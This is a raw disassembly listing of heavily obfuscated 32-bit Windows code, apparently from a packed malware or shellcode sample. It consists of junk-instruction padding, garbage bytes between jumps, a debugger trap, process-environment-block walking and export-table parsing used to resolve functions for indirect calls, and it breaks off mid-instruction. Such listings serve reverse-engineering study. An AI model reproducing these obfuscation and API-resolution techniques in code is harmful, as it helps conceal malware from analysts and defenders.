--------------------------------------------------------------------------- loc_40558E: ; CODE XREF: sub_4054AE+CFj push 0FFFFFFFFh and [esp-0Ch+arg_4], edi push 380CD5C4h pop edi add ecx, edi pop edi sub ecx, 380CD5C4h add edx, 611CA6A9h sub edx, 611CA6A9h mov edi, [esi+10h] push esi mov esi, 33A6D53Ah sub eax, esi pop esi sub esp, 4 mov [esp-0Ch+arg_4], edx push 33A6D53Ah pop edx add eax, edx pop edx sub esp, 4 xchg edi, [esp-0Ch+arg_4] pop edi sub esp, 4 push 9FDDB5C7h pop edi add eax, edi pop edi xchg ecx, [esp-10h+arg_4] jmp loc_4055FA ; --------------------------------------------------------------------------- db 92h, 63h, 60h dd 8CBFDE19h ; --------------------------------------------------------------------------- aad 0EAh loc_4055FA: ; CODE XREF: sub_4054AE+13Ej mov ecx, [esp-10h+arg_4] jmp loc_40560B ; --------------------------------------------------------------------------- fstp tbyte ptr [eax+51h] mov dh, 0B7h loc_40560B: ; CODE XREF: sub_4054AE+153j sub esp, 4 push 9FDDB5C7h pop ecx sub eax, ecx pop ecx add edi, edx push 0 add [esp-0Ch+arg_4], edx sub esp, 4 xchg esi, [esp-8+arg_0] pop esi sub esp, 4 bsr edx, esi cld pop esi pop edx add edi, [ebp+var_8] add eax, 45FEAD89h sub eax, 45FEAD89h test ebx, ebx jz loc_405EA1 xor ecx, 0 test ebx, 80000000h jnz loc_405691 jmp loc_405677 ; --------------------------------------------------------------------------- dw 0CB9Ah dd 0A766C1A8h, 43F2FD54h, 9F3EF9C0h db 0ECh, 0B5h, 4Ah ; --------------------------------------------------------------------------- loc_405677: ; CODE XREF: sub_4054AE+1B3j add ebx, edx sub ecx, 4B992CEAh sub ecx, 0B466D316h inc ebx xor eax, 0 lea ebp, [ebp+0] inc ebx lea ecx, [ecx] loc_405691: ; CODE XREF: sub_4054AE+1ADj push ebx jmp loc_405698 ; --------------------------------------------------------------------------- db 1Ch ; --------------------------------------------------------------------------- loc_405698: ; CODE XREF: sub_4054AE+1E4j and ebx, 7FFFFFFFh push ecx push 0FFFFFFFFh and [esp+0], edx push edx pop dword ptr [esp+0] cmovz edx, edi test al, bl mov ecx, esp mov ecx, 8094F0h arpl dx, cx test al, al mov edx, ebx stc cld pop edx pop ecx push ebx push 0 xor [esp+0], esi sub esp, 4 mov [esp+0], ecx mov si, 4A39h lea ecx, ds:80AA20h dec esi cld pop ecx pop esi push [ebp+var_4] push 0 or [esp+0], esi xchg eax, [esp+var_4] jmp short loc_4056F5 ; --------------------------------------------------------------------------- dw 0B487h db 0DDh ; --------------------------------------------------------------------------- loc_4056F5: ; CODE XREF: sub_4054AE+242j mov eax, [esp+var_4] jmp loc_40570E ; --------------------------------------------------------------------------- db 52h, 23h, 20h dd 4C7F9ED9h, 389BAA95h db 11h, 76h ; --------------------------------------------------------------------------- loc_40570E: ; CODE XREF: sub_4054AE+24Ej sub esp, 4 sub esp, 4 xchg eax, [esp+8+var_8] mov eax, [esp+8+var_8] pop [esp+8+var_8] xchg esi, eax cmp ah, bh not esi rcl esi, 29h jbe loc_40573E push ecx pop eax xchg esi, esi verw ax xor esi, 80AD60h mov esi, edi loc_40573E: ; CODE XREF: sub_4054AE+27Bj dec eax cld pop eax pop esi push 1FC0EAEEh sub esp, 4 xchg ecx, [esp+4+var_4] pop ecx sub esp, 4 sub esp, 4 mov [esp+8+var_8], ebx dec ecx test cl, dh cmovnp ecx, ebx xchg ebx, ebx add ecx, 811720h not ecx rcl ecx, 99h cld pop ebx pop ecx push [ebp+arg_8] push eax loc_405774: ; CODE XREF: sub_4054AE:loc_4057D9j push 0DBE2713h pop eax add ecx, eax pop eax xchg ebx, [esp+4+var_8] jmp loc_40579E ; --------------------------------------------------------------------------- db 4Eh, 6Fh, 7Ch ; --------------------------------------------------------------------------- add eax, 81688B5Ah db 26h, 67h adc al, 0BDh mov dl, 3 cmp byte ptr [ecx+75AC5FFEh], 0Ah loc_40579E: ; CODE XREF: sub_4054AE+2D6j mov ebx, [esp+4+var_8] jmp loc_4057B5 ; --------------------------------------------------------------------------- dw 987Bh ; --------------------------------------------------------------------------- icebp setalc push edi inc esp sub eax, 29B0F362h loc_4057B5: ; CODE XREF: sub_4054AE+2F7j sub esp, 4 push 0DBE2713h pop ebx sub ecx, ebx pop ebx jmp short loc_4057C9 ; --------------------------------------------------------------------------- dw 4FAEh db 0DCh ; --------------------------------------------------------------------------- loc_4057C9: ; CODE XREF: sub_4054AE+316j jmp loc_4057DF ; --------------------------------------------------------------------------- dw 0BAE5h ; --------------------------------------------------------------------------- imul ecx, eax, 61h xchg al, [edi+74h] popf adc ah, bl loc_4057D9: ; CODE XREF: sub_4054AE+366j loopne loc_405774 pop esi aas or al, 55h loc_4057DF: ; CODE XREF: sub_4054AE:loc_4057C9j call near ptr sub_404933 sub esp, 4 xchg esi, [esp+4+var_4] mov esi, [esp+4+var_4] push 0A387A736h pop esi sub edi, esi pop esi add edi, 0A387A736h mov [esp+var_4], esi jmp short loc_405817 ; --------------------------------------------------------------------------- dd 0C53C2F0Eh, 41284B1Ah, 7DD427E6h ; --------------------------------------------------------------------------- jb short loc_4057D9 inc eax loc_405817: ; CODE XREF: sub_4054AE+358j sub esp, 4 push 0BBB82909h pop esi add ecx, esi pop esi sub ecx, 0BBB82909h sub ecx, 0DCD7F135h add ecx, 0DCD7F135h push edx mov edx, 0EBADBC17h sub eax, edx pop edx xchg ecx, [esp+var_4] jmp short loc_40584A ; --------------------------------------------------------------------------- db 70h db 0E9h, 6Eh ; --------------------------------------------------------------------------- loc_40584A: ; CODE XREF: sub_4054AE+397j mov ecx, [esp+var_4] jmp short loc_40585A ; --------------------------------------------------------------------------- setl [ebp+arg_21882B6E] loc_40585A: ; CODE XREF: sub_4054AE+3A3j sub esp, 4 mov ecx, 0EBADBC17h add eax, ecx pop ecx call eax sub edx, 0FFFFFFFFh sub edx, 1 add eax, 0 pop ebx sub ecx, 0FFFFFFFFh sub ecx, 1 test eax, eax jnz loc_405E25 xchg bp, bp xor edx, 0 xchg ebp, ebp lea ebp, [ebp+0] test ebx, 80000000h jnz loc_4059BA push 0 add [esp+0], edi add esp, 0FFFFFFFCh mov [esp+4+var_4], esi xor edi, eax cmp edi, 80AAA0h rol edi, 4Bh inc esi push eax pop edi verw si verw di xchg esi, edi movzx esi, di rcl edi, 0F6h lea esi, ds:81A670h arpl di, si push ebx pop edi mov si, 4995h dec esi cld pop esi pop edi push 95902B19h push 0 add [esp+4+var_4], ebx mov ebx, 1DE3C685h sub ecx, ebx pop ebx push ebx push 1DE3C685h pop ebx add ecx, ebx pop ebx jmp short loc_4058FF ; --------------------------------------------------------------------------- dd 0E7A601E8h db 94h, 3Dh, 32h ; --------------------------------------------------------------------------- loc_4058FF: ; CODE XREF: sub_4054AE+448j add ebx, 4BFDB439h push ecx push ecx pop [esp+8+var_8] push 4BFDB439h pop ecx sub ebx, ecx pop ecx push [ebp+arg_8] push 0 add [esp+8+var_8], esi push 2EA7908Ah pop esi sub ebx, esi pop esi add ebx, 2EA7908Ah jmp loc_405937 ; --------------------------------------------------------------------------- dw 5671h db 0D7h, 0C4h, 0ADh ; --------------------------------------------------------------------------- loc_405937: ; CODE XREF: sub_4054AE+47Fj call near ptr sub_404933 sub eax, 0FFFFFFFFh sub eax, 1 add ecx, 225AEB65h sub ecx, 225AEB65h push 0 sub esp, 4 xchg edi, [esp+0Ch+var_C] mov edi, [esp+0Ch+var_C] push 0 or [esp+10h+var_10], eax lea edi, ds:888C60h push ebx pop edi inc edi inc edi lea edi, ds:819CB0h push ebx pop eax xor edi, ecx not eax inc eax cld pop eax pop edi call eax push 0 xor [esp+0Ch+var_C], edx push 0 add [esp+10h+var_10], eax push 0 or [esp+14h+var_14], eax pop [esp+14h+var_14] test cl, dl js short loc_4059A8 jbe short loc_4059A0 cmp edi, edx loc_4059A0: ; CODE XREF: sub_4054AE+4EEj mov eax, 809E40h test ecx, esp inc edx loc_4059A8: ; CODE XREF: sub_4054AE+4ECj test ecx, edx mov edx, 809D60h xchg eax, edx mov ax, 4A4Dh xchg eax, eax cld pop eax pop edx loc_4059BA: ; CODE XREF: sub_4054AE+3E7j and ebx, 7FFFFFFFh sub edx, 4F14221Dh add edx, 4F14221Dh mov eax, [ebp+arg_41E] jmp short loc_4059DF ; --------------------------------------------------------------------------- dd 19606392h, 0D58CBFDEh db 0EAh, 0DBh, 78h ; --------------------------------------------------------------------------- loc_4059DF: ; CODE XREF: sub_4054AE+524j add esp, 0FFFFFFFCh mov [esp+0Ch+var_C], edi push 1F0DB7h pop edi sub ecx, edi pop edi push 0FFFFFFFFh and [esp+0Ch+var_C], esi push 1F0DB7h pop esi add ecx, esi pop esi sub edi, 0C40A489h sub esp, 4 mov [esp+0Ch+var_C], eax mov eax, 0C40A489h add edi, eax pop eax push 0 add [esp+0Ch+var_C], edx push 820B5BC1h pop edx add ecx, edx pop edx sub ecx, 820B5BC1h cmp [ebp+var_4], eax jnz loc_405D8D push 0 xor [esp+0Ch+var_C], esi push 0 or [esp+10h+var_10], ecx and ecx, 80AA20h mov esi, edx lea esi, ds:80A9E0h xchg ecx, ecx cmp al, 0D2h lea ecx, ds:818FD0h mov esi, 80C770h sub ecx, 80B8E0h xor ecx, esi verw cx cmovl esi, eax sbb esi, 80C720h or ecx, 80C860h cld pop ecx pop esi push edi jmp loc_405A89 ; --------------------------------------------------------------------------- dw 43F2h db 0C0h ; --------------------------------------------------------------------------- loc_405A89: ; CODE XREF: sub_4054AE+5D3j mov edx, ebx push 0 xor [esp+10h+var_10], esi mov esi, 1CBB6F9Fh sub ecx, esi pop esi sub esp, 4 mov [esp+10h+var_10], ebx mov ebx, 1CBB6F9Fh add ecx, ebx pop ebx jmp short loc_405AB3 ; --------------------------------------------------------------------------- dw 31D8h db 16h, 97h, 84h ; --------------------------------------------------------------------------- loc_405AB3: ; CODE XREF: sub_4054AE+5FEj sub edx, 8327F233h push ebx push 8327F233h pop ebx add edx, ebx pop ebx push edx push 0AD60A51Ch pop edx add eax, edx pop edx sub esp, 4 xchg edx, [esp+10h+var_10] mov edx, [esp+10h+var_10] push 0AD60A51Ch pop edx sub eax, edx pop edx dec edx jmp short loc_405AE8 ; --------------------------------------------------------------------------- db 0ABh, 8, 0A1h ; --------------------------------------------------------------------------- loc_405AE8: ; CODE XREF: sub_4054AE+635j push 0FFFFFFFFh and [esp+10h+var_10], ecx push 83927BB4h pop ecx sub eax, ecx pop ecx add eax, 83927BB4h push 0 add [esp+10h+var_10], ebx push 0A290B0D9h pop ebx sub eax, ebx pop ebx push 0FFFFFFFFh and [esp+10h+var_10], ecx push 0A290B0D9h pop ecx add eax, ecx pop ecx add edx, 0E75AC2AAh sub edx, 0E75AC2AAh shl edx, 2 push 0 add [esp+10h+var_10], ecx push ebx verw bx xor ecx, edx jbe short loc_405B65 mov ecx, esi mov ecx, esi cmovo ebx, edx jb loc_405B5C push edx pop ebx mov ecx, esi verw cx arpl bx, cx lea ebx, ds:81B660h loc_405B5C: ; CODE XREF: sub_4054AE+699j dec ebx shl ebx, 91h push ecx pop ecx cmovnp ebx, esp loc_405B65: ; CODE XREF: sub_4054AE+690j cmovb ecx, esp lea ebx, ds:80E2A0h neg ebx cld pop ebx pop ecx mov ebx, [ebp+var_4] sub esp, 4 xchg ecx, [esp+10h+var_10] pop ecx sub esp, 4 push 0 add [esp+14h+var_14], ebx mov bx, 49D7h cmp edx, ecx mov cx, 4939h test eax, edx not ecx cmovnp ebx, ebx inc ecx xor ecx, esi cmova ecx, esi inc ebx bsr ecx, ecx dec ecx test al, ch rol ecx, 0CBh mov ebx, ebp test al, dh cmp ch, bh cld pop ebx pop ecx mov edi, [ebx+3Ch] xchg edx, edx xchg bx, bx sub ecx, 0 lea ebp, [ebp+0] mov edi, [edi+ebx+78h] push 0 add [esp+10h+var_10], edx push 0FFFFFFFFh and [esp+14h+var_14], ecx imul edx, edx verw dx sbb edx, 8088A0h cmovnp ecx, eax mov edx, 810620h mov ecx, 80E3E0h push edx pop edx shr ecx, 0F9h verw cx cmp al, ah xchg ecx, ecx xchg ecx, ecx cld pop ecx pop edx add ebx, [edi+ebx+1Ch] push esi sub esp, 4 xchg edi, [esp+14h+var_14] mov edi, [esp+14h+var_14] arpl si, si mov edi, 809EE0h jno loc_405C2F xchg esi, edi imul edi, esi push esp pop edi sbb edi, 80A760h arpl di, si dec esi loc_405C2F: ; CODE XREF: sub_4054AE+76Bj mov edi, 819260h mov di, 4995h neg edi bts edi, edi lea edi, ds:808D30h verw si movzx esi, bh mov si, 4940h cld pop edi pop esi mov eax, [edx+ebx] xchg edx, [esp+0Ch+var_10] jmp loc_405C6E ; --------------------------------------------------------------------------- db 0B2h dd 0FEB98003h, 0A75AC5Fh, 0D6F1987Bh ; --------------------------------------------------------------------------- push edi inc esp loc_405C6E: ; CODE XREF: sub_4054AE+7ACj ; sub_4054AE+7DEj mov edx, [esp+10h+var_14] jmp loc_405C8F ; --------------------------------------------------------------------------- dw 622Dh dd 0AE29B0F3h, 0BAE5DC4Fh, 8661C86Bh, 129D7447h ; --------------------------------------------------------------------------- jecxz short loc_405C6E cdq loc_405C8F: ; CODE XREF: sub_4054AE+7C7j sub esp, 4 add esp, 0FFFFFFFCh mov [esp+18h+var_18], ecx bts edx, ecx jb short loc_405CB6 js short loc_405CA0 dec edx loc_405CA0: ; CODE XREF: sub_4054AE+7EFj movsx edx, cx lea ecx, ds:809680h rol ecx, 90h cmp ah, bh mov cx, 492Ah test ecx, ecx push edi pop edx loc_405CB6: ; CODE XREF: sub_4054AE+7EDj add edx, 80A720h cmp edi, eax xor edx, edx cmp al, 0C3h stc cld pop ecx pop edx add eax, [ebp+var_4] push ebx push 0 or [esp+18h+var_18], ecx push eax pop ecx bsr ecx, ebx lea ebx, ds:84CE50h cld pop ecx pop ebx pop edi jmp loc_405CE9 ; --------------------------------------------------------------------------- dw 550Ch db 6Ah ; --------------------------------------------------------------------------- loc_405CE9: ; CODE XREF: sub_4054AE+833j jmp loc_405E25 ; --------------------------------------------------------------------------- xchg edi, [esp+0Ch+var_10] jmp short loc_405D0C ; --------------------------------------------------------------------------- db 36h dd 0C20DA437h, 0E0910D3h, 1AC53C2Fh, 0E641284Bh, 727DD427h ; --------------------------------------------------------------------------- loc_405D0C: ; CODE XREF: sub_4054AE+847j mov edi, [esp+0Ch+var_10] jmp loc_405D2B ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 40h, 79h, 0BEh dd 0CA356C1Fh, 96B1583Bh, 22ED0417h db 0B3h, 70h, 0E9h ; --------------------------------------------------------------------------- loc_405D2B: ; CODE XREF: sub_4054AE+865j sub esp, 4 xchg esi, [esp+10h+var_14] jmp short loc_405D44 ; --------------------------------------------------------------------------- db 6Eh dd 7AA59C0Fh, 4621882Bh, 0D25D3407h ; --------------------------------------------------------------------------- loc_405D44: ; CODE XREF: sub_4054AE+887j mov esi, [esp+10h+var_14] jmp loc_405D5D ; --------------------------------------------------------------------------- mov ds:0FF1E59A0h, eax int 3 ; Trap to Debugger adc eax, 91B81B2Ah div bh loc_405D5D: ; CODE XREF: sub_4054AE+89Dj sub esp, 4 mov esi, 80A1E0h xchg esi, esi mov edi, ebx mov si, 48F4h xor edi, esi jmp loc_405D85 ; --------------------------------------------------------------------------- mov si, 48EEh jmp loc_405D84 ; --------------------------------------------------------------------------- push eax pop esi test ecx, ecx loc_405D84: ; CODE XREF: sub_4054AE+8CDj stc loc_405D85: ; CODE XREF: sub_4054AE+8C4j mov esi, 808F90h cld pop esi pop edi loc_405D8D: ; CODE XREF: sub_4054AE+582j push 95902B19h jmp short loc_405D9B ; --------------------------------------------------------------------------- dd 9382CD64h db 0D0h, 0C9h, 0CEh ; --------------------------------------------------------------------------- loc_405D9B: ; CODE XREF: sub_4054AE+8E4j push 0 add [esp+14h+var_14], ebx push 0BD8B2D85h pop ebx add ecx, ebx pop ebx sub ecx, 0BD8B2D85h jmp short loc_405DB5 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_405DB5: ; CODE XREF: sub_4054AE+904j push [ebp+arg_8] add edx, 1 add edx, 0FFFFFFFFh add eax, 4D07B900h add eax, 0B2F84700h call near ptr sub_404933 xchg bp, bp lea esi, [esi] lea esp, [esp] dec ecx add ecx, 1 push 0 sub ecx, 4E46F973h sub esp, 4 xchg esi, [esp+1Ch+var_1C] mov esi, [esp+1Ch+var_1C] push 4E46F973h pop esi add ecx, esi pop esi add edi, 28E11548h sub esp, 4 xchg edx, [esp+1Ch+var_1C] mov edx, [esp+1Ch+var_1C] push 28E11548h pop edx sub edi, edx pop edx call eax sub esp, 4 mov [esp+1Ch+var_1C], edi push 4E12563h pop edi sub ecx, edi pop edi add ecx, 4E12563h loc_405E25: ; CODE XREF: sub_4054AE+3CDj ; sub_4054AE:loc_405CE9j mov [edi], eax lea esi, [esi] xchg esi, esi push ebx mov ebx, edx pop ebx xchg si, si jmp loc_405E3E ; --------------------------------------------------------------------------- db 8Dh dd 89905342h db 8Eh, 0AFh ; --------------------------------------------------------------------------- loc_405E3E: ; CODE XREF: sub_4054AE+984j add ebx, 1 add ebx, 0FFFFFFFFh dec ecx add ecx, 1 add [ebp+var_8], 4 sub esp, 4 mov [esp+1Ch+var_1C], esi push 0 xor [esp+20h+var_20], ecx mov esi, edi cmp esi, 848AA0h push ebp pop ecx arpl si, cx xchg ecx, esi arpl cx, si xor esi, ebp neg esi shl esi, 8Dh inc ecx cmovge esi, esi cmp bl, bh cmovs ecx, edx xor esi, ebp jmp loc_405E88 ; --------------------------------------------------------------------------- cmp al, 0F8h cmp bh, al loc_405E88: ; CODE XREF: sub_4054AE+9D1j cld pop ecx pop esi jmp loc_4053E7 ; --------------------------------------------------------------------------- jmp short loc_405EA1 ; --------------------------------------------------------------------------- dw 3EF9h dd 4AB5EC9Fh, 1631D8BBh, 0A26D8497h db 33h ; --------------------------------------------------------------------------- loc_405EA1: ; CODE XREF: sub_4054AE+19Bj ; sub_4054AE+9E2j mov [esi], eax xchg si, si lea edi, [edi] jmp loc_405EBE ; --------------------------------------------------------------------------- stosd or [ecx-224B783Ah], ah push edx and esp, [eax] fstp dword ptr [esi-556AB381h] wait loc_405EBE: ; CODE XREF: sub_4054AE+9FAj jmp loc_405ED4 ; --------------------------------------------------------------------------- db 76h dd 24DE477h, 4E495013h, 5A057C6Fh, 2681688Bh ; --------------------------------------------------------------------------- loc_405ED4: ; CODE XREF: sub_4054AE:loc_405EBEj mov [esi+0Ch], eax push edx mov [esp-4], ecx jmp short loc_405EE6 ; --------------------------------------------------------------------------- db 0B2h, 3, 80h db 0B9h, 0FEh ; --------------------------------------------------------------------------- loc_405EE6: ; CODE XREF: sub_4054AE+A31j sub esp, 4 sub ecx, 828A20h mov dx, 48FBh mov edx, esi test al, dh mov edx, 810930h verw dx lea ecx, ds:80C6A0h jb short loc_405F0E rcl edx, 8Eh mov ecx, esp xchg ecx, edx loc_405F0E: ; CODE XREF: sub_4054AE+A57j xor ecx, edi repne dec ecx dec ecx dec ecx cld pop ecx pop edx mov [esi+10h], eax push 0FFFFFFFFh and [esp-8+arg_0], edi push 78F19575h pop edi add eax, edi pop edi push ebx add esp, 0FFFFFFFCh mov [esp+0], ebx pop dword ptr [esp+0] push 78F19575h pop ebx sub eax, ebx pop ebx add esi, 14h push 0 or [esp-8+arg_0], esi xchg ebx, [esp-4] jmp loc_405F63 ; --------------------------------------------------------------------------- dd 2D4457D6h, 29B0F362h db 0AEh, 4Fh, 0DCh ; --------------------------------------------------------------------------- loc_405F63: ; CODE XREF: sub_4054AE+AA5j mov ebx, [esp-4] jmp short loc_405F71 ; --------------------------------------------------------------------------- dd 0C86BBAE5h ; --------------------------------------------------------------------------- popa loc_405F71: ; CODE XREF: sub_4054AE+ABCj sub esp, 4 mov ebx, ebx lea ebx, ds:80C6D0h xor esi, ecx inc esi cld pop ebx pop esi mov edx, [ebp+arg_4] push 0 xor [esp+0], edi push 0 add [esp+0], eax xor edi, ecx rep jns short loc_405FB4 mov edi, edx push ebp pop eax verw di mov edi, esi arpl di, ax neg edi push esp pop eax xor eax, eax mov eax, ebx inc eax xor eax, esi inc eax loc_405FB4: ; CODE XREF: sub_4054AE+AECj neg eax cmp edi, ebp xchg edi, eax stc cld pop eax pop edi jmp loc_405119 sub_4054AE endp ; sp-analysis failed ; --------------------------------------------------------------------------- jmp loc_405FCD ; --------------------------------------------------------------------------- dd 0E3129D74h db 0E0h ; --------------------------------------------------------------------------- loc_405FCD: ; CODE XREF: .text:00405FC3j sub esp, 4 xchg ebx, [esp] pop ebx sub esp, 4 push 85707C3Fh pop ebx sub eax, ebx pop ebx push 0 add [esp], ebx push 85707C3Fh pop ebx add eax, ebx pop ebx jmp loc_40600C ; --------------------------------------------------------------------------- push 5Bh clc sal dword ptr [esi], 1 aaa movsb or eax, 910D3C2h push cs das cmp al, 0C5h sbb cl, [ebx+28h] ; START OF FUNCTION CHUNK FOR sub_404FE5 loc_40600C: ; CODE XREF: sub_404FE5+1B4j ; .text:00405FF4j pop ebx xchg bp, bp lea esp, [esp] xchg si, si lea esp, [esp] lea edx, [edx] xor ebx, 0 add ebx, 40B699B1h sub ebx, 40B699B1h xor edx, 0 add edx, 0 sub eax, 1 inc eax sub ebx, 1 sub ebx, 0FFFFFFFFh push ecx mov ecx, eax mov ecx, edi pop ecx lea edx, [edx] xor eax, 0 add eax, 0 xchg ecx, ecx pop edi xchg dx, dx push ebx mov ebx, eax mov ebx, eax mov ebx, ebp pop ebx pop esi xor edx, 0 leave add edx, 0DA559493h sub edx, 0DA559493h retn 0Ch ; END OF FUNCTION CHUNK FOR sub_404FE5 ; --------------------------------------------------------------------------- sub esp, 4 xchg esi, [esp] pop esi sub esp, 4 push ecx push ecx pop esi dec ecx cld pop ecx pop esi ; =============== S U B R O U T I N E ======================================= sub_406091 proc near ; CODE XREF: .text:loc_4067CAp ; sub_407861+5A8p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 push ebx xchg ebx, [esp+4+var_8] jmp short loc_4060A2 ; --------------------------------------------------------------------------- db 0DAh dd 0A601E80Bh db 0E7h, 94h ; --------------------------------------------------------------------------- loc_4060A2: ; CODE XREF: sub_406091+8j mov ebx, [esp+4+var_8] jmp short loc_4060AC ; --------------------------------------------------------------------------- db 3Dh ; --------------------------------------------------------------------------- loc_4060AC: ; CODE XREF: sub_406091+18j sub esp, 4 push 0FFFFFFFFh and [esp+0Ch+var_C], ebx pop [esp+0Ch+var_C] push eax cmp esi, eax cmovno eax, esp xchg eax, ebx ror eax, 90h mov ebx, 80B2A0h push eax pop eax xor ebx, edi mov eax, 818660h mov ebx, ebp mov ebx, eax dec ebx inc ebx nop cld pop eax pop ebx push edi jmp short loc_4060E5 ; --------------------------------------------------------------------------- dd 39008332h db 7Eh ; --------------------------------------------------------------------------- loc_4060E5: ; CODE XREF: sub_406091+4Dj sub esp, 4 xchg ebx, [esp+0Ch+var_C] pop ebx sub esp, 4 push 0CB96A8F5h pop ebx sub ecx, ebx pop ebx push 0 add [esp+0Ch+var_C], esi push 0CB96A8F5h pop esi add ecx, esi pop esi jmp loc_406114 ; --------------------------------------------------------------------------- sbb [ecx+56h], dh loc_406114: ; CODE XREF: sub_406091+7Bj mov eax, large fs:30h xchg edi, [esp+8+var_C] jmp short loc_40612A ; --------------------------------------------------------------------------- db 0ADh dd 0A93073E2h db 2Eh, 0CFh ; --------------------------------------------------------------------------- loc_40612A: ; CODE XREF: sub_406091+90j mov edi, [esp+8+var_C] jmp short loc_406144 ; --------------------------------------------------------------------------- db 5Ch dd 48EB3A65h, 0F4C706E1h, 6063921Dh, 8CBFDE19h ; --------------------------------------------------------------------------- loc_406144: ; CODE XREF: sub_406091+A0j sub esp, 4 mov [esp+0Ch+var_10], edi jmp loc_40615E ; --------------------------------------------------------------------------- aad 0EAh fstp tbyte ptr [eax+51h] mov dh, 0B7h and al, 8Dh inc edx push ebx loc_40615E: ; CODE XREF: sub_406091+BDj sub esp, 4 pop [esp+14h+var_14] sub esp, 4 xchg ecx, [esp+14h+var_14] pop ecx sub esp, 4 movsx edi, cx rol ecx, 3Dh std test cl, ah jmp loc_406191 ; --------------------------------------------------------------------------- push ebp pop ecx xor ecx, edi jb short loc_40618E inc ecx xchg edi, edi mov edi, 80A060h dec ecx loc_40618E: ; CODE XREF: sub_406091+F2j movzx edi, cl loc_406191: ; CODE XREF: sub_406091+E9j xchg ecx, ecx inc ecx cld pop ecx pop edi mov eax, [eax+0Ch] mov [esp+0Ch+var_10], eax jmp loc_4061B3 ; --------------------------------------------------------------------------- dw 45BCh dd 0C1A8CB9Ah, 0FD54A766h db 0F2h, 43h, 0C0h ; --------------------------------------------------------------------------- loc_4061B3: ; CODE XREF: sub_406091+110j sub esp, 4 push 5C289AAFh pop eax sub ebx, eax pop eax add ebx, 5C289AAFh mov edi, [eax+0Ch] xor ebx, 0 push edi sub ecx, 0 loc_4061D8: ; CODE XREF: sub_406091+31Cj mov eax, [edi+18h] push eax jmp short loc_4061E5 ; --------------------------------------------------------------------------- dw 33A2h dd 8FEE69F0h db 1Ch ; --------------------------------------------------------------------------- loc_4061E5: ; CODE XREF: sub_406091+14Bj jmp loc_4061EF ; --------------------------------------------------------------------------- and eax, 0A108ABFAh loc_4061EF: ; CODE XREF: sub_406091:loc_4061E5j pop eax push edx jmp loc_406207 ; --------------------------------------------------------------------------- dw 0DDB4h dd 0D9202352h, 954C7F9Eh, 11389BAAh db 76h, 77h, 0E4h ; --------------------------------------------------------------------------- loc_406207: ; CODE XREF: sub_406091+160j jmp loc_406211 ; --------------------------------------------------------------------------- dec ebp add dl, [ebx] push eax dec ecx loc_406211: ; CODE XREF: sub_406091:loc_406207j pop edx mov ebx, eax jmp short loc_40621D ; --------------------------------------------------------------------------- dw 6F4Eh dd 8B5A057Ch db 68h ; --------------------------------------------------------------------------- loc_40621D: ; CODE XREF: sub_406091+183j push 0 or [esp+0], edi push 0E1555C67h pop edi sub esi, edi pop edi add esi, 0E1555C67h jmp short loc_406241 ; --------------------------------------------------------------------------- dw 3B2h dd 5FFEB980h, 7B0A75ACh ; --------------------------------------------------------------------------- cwde loc_406241: ; CODE XREF: sub_406091+1A3j jmp short loc_40624C ; --------------------------------------------------------------------------- icebp setalc push edi inc esp sub eax, 29B0F362h loc_40624C: ; CODE XREF: sub_406091:loc_406241j add ebx, [edi+20h] push edx push 0 or [esp+0], ecx mov edx, esp mov ecx, 808AE0h arpl dx, dx rcr edx, 38h xor ecx, ecx verw dx verw cx sub edx, 80B6E0h shr edx, 4Fh xor edx, eax cmp ch, ch mov cx, 4996h xor ecx, edx cld pop ecx pop edx cmp [esp+18h+var_C], eax jbe loc_406388 sub edx, 0FFFFFFFFh add edx, 0FFFFFFFFh cmp [esp+18h+var_C], ebx jnb loc_406388 sub edx, 0C2D3FD8Ch sub edx, 3D2C0274h pop edi push 0FFFFFFFFh and [esp+0], ecx push 0 or [esp+0], ebx cmovp ebx, ecx test cl, cl mov bx, 4969h neg ecx mov ebx, edx or ecx, 80C6E0h shrd ebx, ebx, cl jnb loc_4062D7 arpl cx, cx loc_4062D7: ; CODE XREF: sub_406091+23Ej cmp esp, edx test cl, ch cmovb ebx, ebx arpl bx, bx push esi pop ebx cmovns ebx, ebx neg ebx verw cx xchg ecx, ecx cld pop ebx pop ecx pop edi xor eax, 0 pop ebx jmp short locret_4062FB ; --------------------------------------------------------------------------- aas or al, 55h locret_4062FB: ; CODE XREF: sub_406091+265j retn ; --------------------------------------------------------------------------- sub edi, 0D71B0836h sub esp, 4 xchg eax, [esp+10h+var_10] mov eax, [esp+10h+var_10] push 0D71B0836h pop eax add edi, eax pop eax mov [esp+0Ch+var_10], esi jmp short loc_406329 ; --------------------------------------------------------------------------- dd 0C53C2F0Eh, 41284B1Ah db 0E6h ; --------------------------------------------------------------------------- loc_406329: ; CODE XREF: sub_406091+28Dj sub esp, 4 sub esp, 4 xchg esi, [esp+14h+var_14] pop esi sub esp, 4 pop [esp+14h+var_14] push 9B0C0E09h pop esi sub ecx, esi pop esi push edx push 9B0C0E09h pop edx add ecx, edx pop edx add esp, 0FFFFFFFCh mov [esp+10h+var_10], ecx push 0EAA03FC3h pop ecx sub edx, ecx pop ecx push 0FFFFFFFFh and [esp+10h+var_10], eax mov eax, 0EAA03FC3h add edx, eax pop eax jmp short loc_406382 ; --------------------------------------------------------------------------- db 0BEh dd 0CA356C1Fh, 96B1583Bh, 22ED0417h ; --------------------------------------------------------------------------- mov bl, 70h loc_406382: ; CODE XREF: sub_406091+2E0j jmp loc_406388 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_406388: ; CODE XREF: sub_406091+1F5j ; sub_406091+205j ... mov edi, [edi] push edi push 8ECDFC9Ch pop edi sub esi, edi pop edi sub esp, 4 xchg ecx, [esp+0] pop ecx sub esp, 4 push 8ECDFC9Ch pop ecx add esi, ecx pop ecx cmp [esp+0], edi jnz loc_4061D8 dec ecx add ecx, 1 pop edi push 0FFFFFFFFh and [esp+0], ebx mov ebx, 74E7EED2h sub edx, ebx pop ebx sub esp, 4 xchg ecx, [esp+0] pop ecx sub esp, 4 push 74E7EED2h pop ecx add edx, ecx pop ecx push 0FFFFFFFFh and [esp+0], edi mov edi, 1C2B8EFFh sub esi, edi pop edi add esp, 0FFFFFFFCh mov [esp+0], edi push 1C2B8EFFh pop edi add esi, edi pop edi sub esp, 4 xchg ecx, [esp+0] mov ecx, [esp+0] push 639DB91h pop ecx add esi, ecx pop ecx sub esi, 639DB91h push 0 or [esp+0], edx push 65B082h pop edx sub edi, edx pop edx push 0 or [esp+0], 